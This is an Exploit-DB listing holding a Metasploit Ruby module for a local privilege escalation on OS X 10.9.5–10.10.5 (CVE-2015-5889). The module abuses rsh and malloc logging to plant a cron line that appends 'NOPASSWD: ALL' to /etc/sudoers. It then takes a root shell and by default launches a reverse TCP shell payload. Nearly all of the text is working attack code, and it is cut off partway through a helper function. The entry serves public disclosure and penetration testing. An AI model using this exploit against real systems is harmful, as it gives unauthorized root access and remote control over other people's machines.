Exploit-DB #38540
Description: Apple Mac OSX 10.9.5/10.10.5 - 'rsh/libmalloc' Local Privilege Escalation (Metasploit)
Type: local
Platform: osx
Date: 2015-10-27
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

  Rank = NormalRanking

  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',
      'Description'    => %q{
        This module writes to the sudoers file without root access by exploiting rsh and malloc log files.
        Makes sudo require no password, giving access to su even if root is disabled.
        Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
      },
      'Author'         => [
        'rebel',      # Vulnerability discovery and PoC
        'shandelman116'  # Copy/paste AND translator monkey
      ],
      'References'     => [
        ['EDB', '38371'],
        ['CVE', '2015-5889']
      ],
      'DisclosureDate' => 'Oct 1 2015',
      'License'        => MSF_LICENSE,
      # Want to ensure that this can be used on Python Meterpreter sessions as well
      'Platform'       => ['osx', 'python'],
      'Arch'           => [ARCH_X86_64, ARCH_PYTHON],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9.5-10.10.5', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp'
      }
    ))

    register_options(
      [
        OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
        OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
      ], self.class
    )
  end

  def exploit
    # Check OS
    os_check

    # Check if crontab file existed already so it can be restored at cleanup
    if file_exist? "/etc/crontab"
      @crontab_original = read_file("/etc/crontab")
    else
      @crontab_original = nil
    end

    # Writing payload
    if payload.arch.include? ARCH_X86_64
      vprint_status("Writing payload to #{payload_file}.")
      write_file(payload_file, payload_source)
      vprint_status("Finished writing payload file.")
      register_file_for_cleanup(payload_file)
    elsif payload.arch.include? ARCH_PYTHON
      vprint_status("No need to write payload. Will simply execute after exploit")
      vprint_status("Payload encodeded is #{payload.encoded}")
    end

    # Run exploit
    sploit

    # Execute payload
    print_status('Executing payload...')
    if payload.arch.include? ARCH_X86_64
      cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
    elsif payload.arch.include? ARCH_PYTHON
      cmd_exec("python -c \"#{payload.encoded}\" & disown")
    end
    vprint_status("Finished executing payload.")
  end

  def os_check
    # Get sysinfo
    sysinfo = get_sysinfo
    # Make sure its OS X (Darwin)
    unless sysinfo["Kernel"].include? "Darwin"
      print_warning("The target system does not appear to be running OS X!")
      print_warning("Kernel information: #{sysinfo['Kernel']}")
      return
    end
    # Make sure its not greater than 10.5 or less than 9.5
    version = sysinfo["ProductVersion"]
    minor_version = version[3...version.length].to_f
    unless minor_version >= 9.5 && minor_version <= 10.5
      print_warning("The target version of OS X does not appear to be compatible with the exploit!")
      print_warning("Target is running OS X #{sysinfo['ProductVersion']}")
    end
  end

  def sploit
    user = cmd_exec("whoami").chomp
    vprint_status("The current effective user is #{user}. Starting the sploit")
    # Get size of sudoers file
    sudoer_path = "/etc/sudoers"
    size = get_stat_size(sudoer_path)

    # Set up the environment and command for spawning rsh and writing to crontab file
    rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"
    rb_cmd = "ruby -e '#{rb_script}'"

    # Attempt to execute
    print_status("Attempting to write /etc/crontab...")
    cmd_exec(rb_cmd)
    vprint_status("Now to check whether the script worked...")

    # Check whether it worked
    crontab = cmd_exec("cat /etc/crontab")
    vprint_status("Reading crontab yielded the following response: #{crontab}")
    unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
      vprint_error("Bad news... it did not write to the file.")
      fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")
    end

    print_good("Succesfully wrote to crontab file!")

    # Wait for sudoers to change
    new_size = get_stat_size(sudoer_path)
    print_status("Waiting for sudoers file to change...")

    # Start timeout block
    begin
      Timeout.timeout(datastore['WaitTime']) {
        while new_size <= size
          Rex.sleep(1)
          new_size = get_stat_size(sudoer_path)
        end
      }
    rescue Timeout::Error
      fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
    end
    print_good("Sudoers file has changed!")

    # Confirming root access
    print_status("Attempting to start root shell...")
    cmd_exec("sudo -s su")
    user = cmd_exec("whoami")
    unless user.include? "root"
      fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
    end
    print_good("Success! Acquired root access!")
  end

  def get_stat_size(file_path)
    cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"